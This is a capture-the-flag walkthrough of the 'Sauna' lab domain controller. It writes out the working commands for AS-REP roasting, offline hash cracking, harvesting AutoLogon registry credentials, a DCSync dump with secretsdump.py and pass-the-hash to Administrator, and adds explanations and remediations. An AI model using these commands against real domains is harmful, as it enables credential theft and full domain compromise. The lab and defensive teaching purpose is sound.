- OS: Windows (Server 2019 Domain Controller)
- Domain / vhosts:
EGOTISTICAL-BANK.LOCAL
Summary
Sauna is the canonical introductory Active Directory box on HTB. Its three-step chain covers the three most common early-engagement AD attack primitives: AS-REP Roasting for initial access, AutoLogon credential discovery for lateral movement, and DCSync for domain compromise. None require exploitation of a software vulnerability — every step abuses a misconfigured AD attribute or a stored credential.
Kill-chain: website staff page → username format guessing → Kerbrute
confirms fsmith → fsmith has DONT_REQUIRE_PREAUTH → GetNPUsers.py
retrieves AS-REP hash → hashcat cracks it (<FSMITH_PW>) → evil-winrm
as fsmith → WinPEAS / reg query finds AutoLogon credentials for
svc_loanmgr → BloodHound shows svc_loanmgr holds
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the
domain object → secretsdump.py dumps all NTLM hashes → pass-the-hash
as Administrator.
Source attribution
- 0xdf, “HTB: Sauna” — https://0xdf.gitlab.io/2020/07/18/htb-sauna.html.
Primary source. Covers the staff-page username derivation, Kerbrute,
GetNPUsers.py, WinPEAS AutoLogon discovery, BloodHound DCSync path,
and the
svc_loanmanager/svc_loanmgrname discrepancy. - IppSec, “Sauna” video walkthrough — https://ippsec.rocks/?#Sauna. Notable for the Vim-macro technique to generate username format permutations from full names.
Recon
nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 53,80,88,135,139,389,445,464,5985 -oN nmap/scripts.txt <TARGET>
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
464/tcp open kpasswd5
5985/tcp open http Microsoft HTTPAPI (WinRM)
Kerberos (88), LDAP (389), DNS (53), SMB (445), and WinRM (5985) together identify a Windows Domain Controller. WinRM on 5985 is the anticipated lateral access vector.
Domain enumeration via LDAP:
ldapsearch -x -h <TARGET> -s base namingcontexts
# → DC=EGOTISTICAL-BANK,DC=LOCAL
Domain: EGOTISTICAL-BANK.LOCAL. Add to /etc/hosts.
User enumeration
The bank website at http://<TARGET>/about.html lists the company’s team:
Fergus Smith, Shaun Coins, Hugo Bear, Beau Taylor, Hughy Smith, Saul Kerr
Active Directory username conventions for this domain (confirmed by Kerbrute): first initial + surname. Generate a candidate list:
# Generate common formats from full names
# fsmith, fergussmith, fergus.smith, f.smith, smithf, etc.
# Use a script or Vim macro to produce all permutations
# Validate against the DC with Kerbrute (no credentials needed)
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
--dc <TARGET>
Confirmed valid accounts: administrator, fsmith, hsmith.
Foothold — AS-REP Roasting
Kerberos pre-authentication is disabled for fsmith
(UF_DONT_REQUIRE_PREAUTH attribute set). This means the KDC will return
an AS-REP encrypted with the user’s password hash to any unauthenticated
requester — the hash can then be cracked offline.
impacket-GetNPUsers -dc-ip <TARGET> -no-pass \
-usersfile users.txt \
EGOTISTICAL-BANK.LOCAL/
Returns a $krb5asrep$23$fsmith@... hash for fsmith; no hash for
hsmith or administrator (pre-auth enabled on those accounts).
-no-pass is required on modern Impacket — without it the tool
prompts for a password instead of trying anonymous AS-REQs.
-format hashcat is the default, no longer needed.
Crack with hashcat (mode 18200 = Kerberos 5 AS-REP etype 23):
hashcat -m 18200 hashes.asprep /usr/share/wordlists/rockyou.txt
Cracked password: <FSMITH_PW>.
evil-winrm -i <TARGET> -u fsmith -p <FSMITH_PW>
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
user.txt is at C:\Users\FSmith\Desktop\user.txt.
Lateral move — AutoLogon registry credentials
Run WinPEAS to sweep for common misconfigurations:
.\winpeas.exe
Or query the AutoLogon key manually:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
DefaultPassword REG_SZ <LOANMGR_PW>
Critical gotcha: The registry stores the display name svc_loanmanager,
but the actual SAM account name in Active Directory is svc_loanmgr
(truncated at account creation). Authenticating with svc_loanmanager
fails with STATUS_LOGON_FAILURE; use svc_loanmgr. Validate with
NetExec (or CME) before pivoting:
netexec smb <TARGET> -u svc_loanmgr -p '<LOANMGR_PW>'
# → [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:<LOANMGR_PW>
evil-winrm -i <TARGET> -u svc_loanmgr -p '<LOANMGR_PW>'
Privilege escalation — DCSync via replication rights
Run BloodHound to map the AD attack graph:
# On target (fsmith or svc_loanmgr shell)
.\SharpHound.exe -c All
# Transfer the .zip output to attack machine
# Import into BloodHound and query "Shortest Paths to Domain Admins"
BloodHound shows svc_loanmgr holds two outbound edges on the domain
object:
DS-Replication-Get-ChangesDS-Replication-Get-Changes-All
These two rights together grant DCSync capability — the ability to
mimic a domain controller and request password hash replication for any
account, including the krbtgt and Administrator accounts.
secretsdump.py 'svc_loanmgr:<LOANMGR_PW>@<TARGET>'
Relevant output:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTHASH>:::
Pass the Administrator NTLM hash without cracking it:
evil-winrm -i <TARGET> -u administrator -H <NTHASH>
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
root.txt is at C:\Users\Administrator\Desktop\root.txt.
Why each step worked
- AS-REP Roasting without pre-authentication: the Kerberos AS-REP
is normally returned only after the client proves it knows the user’s
password (pre-authentication). When
DONT_REQUIRE_PREAUTHis set on an account, the KDC skips this check and returns the AS-REP to any requester. The AS-REP body is encrypted with a key derived from the user’s password, so it is crackable offline against a wordlist. The flag is typically set on service accounts for legacy software compatibility; it should be removed if not strictly required. - AutoLogon credentials in the registry: Windows AutoLogon stores the
username and password as plaintext registry values to enable unattended
login. Any user (or process) that can read
HKLM\...\Winlogoncan retrieve these credentials. The registry path is world-readable by default on most Windows configurations. svc_loanmanagervssvc_loanmgr: Windows AD SAM account names are limited to 20 characters. When the account was provisioned, the name was likely entered assvc_loanmanagerin the UI but truncated tosvc_loanmgrin the SAM. The AutoLogon key stores the UPN or display name, not the SAM account name, creating a discrepancy.- DCSync via
DS-Replication-Get-Changes+DS-Replication-Get-Changes-All: domain replication is the mechanism by which multiple DCs keep the NTDS.DIT in sync. The DRSUAPI protocol allows one DC to request the full password hash database from another. The two extended rights together grant a non-DC account the ability to use this protocol.secretsdump.pyimplements the DRSUAPIDRSGetNCChangesRPC call to retrieve all account hashes without touching the NTDS.DIT file on disk. - Pass-the-Hash via WinRM: Windows authentication over NTLM accepts the
NT hash directly without requiring knowledge of the plaintext password. The
hash is used to respond to the NTLM challenge-response exchange.
evil-winrm’s-Hflag passes the hash to the WinRM authentication handshake.
Counterfactuals
- Enable Kerberos pre-authentication on all accounts that don’t explicitly
require it disabled. Audit with:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth. - Remove plaintext credentials from AutoLogon registry values. If AutoLogon
is required, use the Credential Manager API or Group Policy to store the
credential in LSA secrets rather than plaintext
DefaultPassword. - Remove the DCSync rights from
svc_loanmgr. These rights should only be held by Domain Admins and the Domain Controllers security groups. Audit with BloodHound’s built-in “Find Principals with DCSync Rights” query. - Follow the principle of least privilege for service accounts:
svc_loanmgrhas no legitimate reason to hold domain-wide replication rights.
Key Takeaways
- AS-REP Roasting is unauthenticated:
GetNPUsers.pyrequires only a valid username list and the DC’s IP — no credentials. The username list comes from OSINT (website staff page) or anonymous LDAP enumeration. Always check forDONT_REQUIRE_PREAUTHbefore attempting any credential-based attacks. - Username format derivation from full names is a standard AD enumeration
step. The most common formats are
first.last,flast,firstl,firstlast. Generate all candidates and validate with Kerbrute (which does not lock accounts and works unauthenticated). - AutoLogon credentials in
HKLM\...\Winlogonare one of the first things WinPEAS and winPEASx64 report. Always run privilege escalation enumeration immediately after foothold — even before attempting manual enumeration. svc_loanmanager≠svc_loanmgr: registry values often store display names or UPNs rather than SAM account names. When an authentication attempt with a discovered username fails, check for SAM name truncation (20-char limit) and try the shorter form.- DCSync is the end of a domain engagement: once a principal has
DS-Replication-Get-Changes+DS-Replication-Get-Changes-All, all domain account hashes are recoverable.secretsdump.pyand pass-the-hash complete the chain. No need to crack the Administrator hash.
References
- 0xdf, “HTB: Sauna” — https://0xdf.gitlab.io/2020/07/18/htb-sauna.html
- IppSec, “Sauna” — https://ippsec.rocks/?#Sauna
- Impacket GetNPUsers.py — AS-REP Roasting
- Impacket secretsdump.py — DCSync via DRSUAPI
- BloodHound — AD attack path enumeration